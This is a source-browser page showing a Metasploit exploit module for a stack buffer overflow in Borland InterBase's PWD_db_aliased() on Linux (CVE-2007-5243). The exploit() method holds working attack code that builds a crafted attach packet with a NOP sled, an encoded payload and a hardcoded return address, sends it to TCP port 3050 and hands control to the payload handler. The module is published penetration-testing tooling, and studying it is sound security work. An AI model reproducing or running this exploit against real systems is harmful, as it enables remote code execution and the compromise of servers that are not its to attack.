Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / linux / misc / ib_pwd_db_aliased.rb @ master

History | View | Annotate | Download (2.1 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = GoodRanking
18

    
19
        include Msf::Exploit::Remote::Tcp
20

    
21
        def initialize(info = {})
22
                super(update_info(info,
23
                        'Name'                => 'Borland InterBase PWD_db_aliased() Buffer Overflow',
24
                        'Description'        => %q{
25
                                This module exploits a stack buffer overflow in Borland InterBase
26
                                by sending a specially crafted attach request.
27
                        },
28
                        'Version'        => '$Revision$',
29
                        'Author'        =>
30
                                [
31
                                        'ramon',
32
                                        'Adriano Lima <adriano[at]risesecurity.org>',
33
                                ],
34
                        'Arch'                => ARCH_X86,
35
                        'Platform'        => 'linux',
36
                        'References'        =>
37
                                [
38
                                        [ 'CVE', '2007-5243' ],
39
                                        [ 'OSVDB', '38607' ],
40
                                        [ 'BID', '25917' ],
41
                                        [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
42
                                ],
43
                        'Privileged'        => true,
44
                        'License'        => MSF_LICENSE,
45
                        'Payload'        =>
46
                                {
47
                                        'Space' => 512,
48
                                        'BadChars' => "\x00\x2f\x3a\x40\x5c",
49
                                },
50
                        'Targets'        =>
51
                                [
52
                                        # 0x0804cbe4 pop esi; pop ebp; ret
53
                                        [
54
                                                'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
55
                                                { 'Ret' => 0x0804cbe4 }
56
                                        ],
57
                                ],
58
                        'DefaultTarget'        => 0,
59
                        'DisclosureDate'  => 'Oct 03 2007'
60
                ))
61

    
62
                register_options(
63
                        [
64
                                Opt::RPORT(3050)
65
                        ],
66
                        self.class
67
                )
68

    
69
        end
70

    
71
        def exploit
72

    
73
                connect
74

    
75
                # Attach database
76
                op_attach = 19
77

    
78
                length = 1152
79
                remainder = length.remainder(4)
80
                padding = 0
81

    
82
                if remainder > 0
83
                        padding = (4 - remainder)
84
                end
85

    
86
                buf = ''
87

    
88
                # Operation/packet type
89
                buf << [op_attach].pack('N')
90

    
91
                # Id
92
                buf << [0].pack('N')
93

    
94
                # Length
95
                buf << [length].pack('N')
96

    
97
                # It will return into this nop block
98
                buf << make_nops(length - payload.encoded.length - 4)
99

    
100
                # Payload
101
                buf << payload.encoded
102

    
103
                # Target
104
                buf << [target.ret].pack('V')
105

    
106
                # Padding
107
                buf << "\x00" * padding
108

    
109
                # Length
110
                buf << [1024].pack('N')
111

    
112
                # Random alpha data
113
                buf << rand_text_alpha(1024)
114

    
115
                sock.put(buf)
116

    
117
                handler
118

    
119
        end
120

    
121
end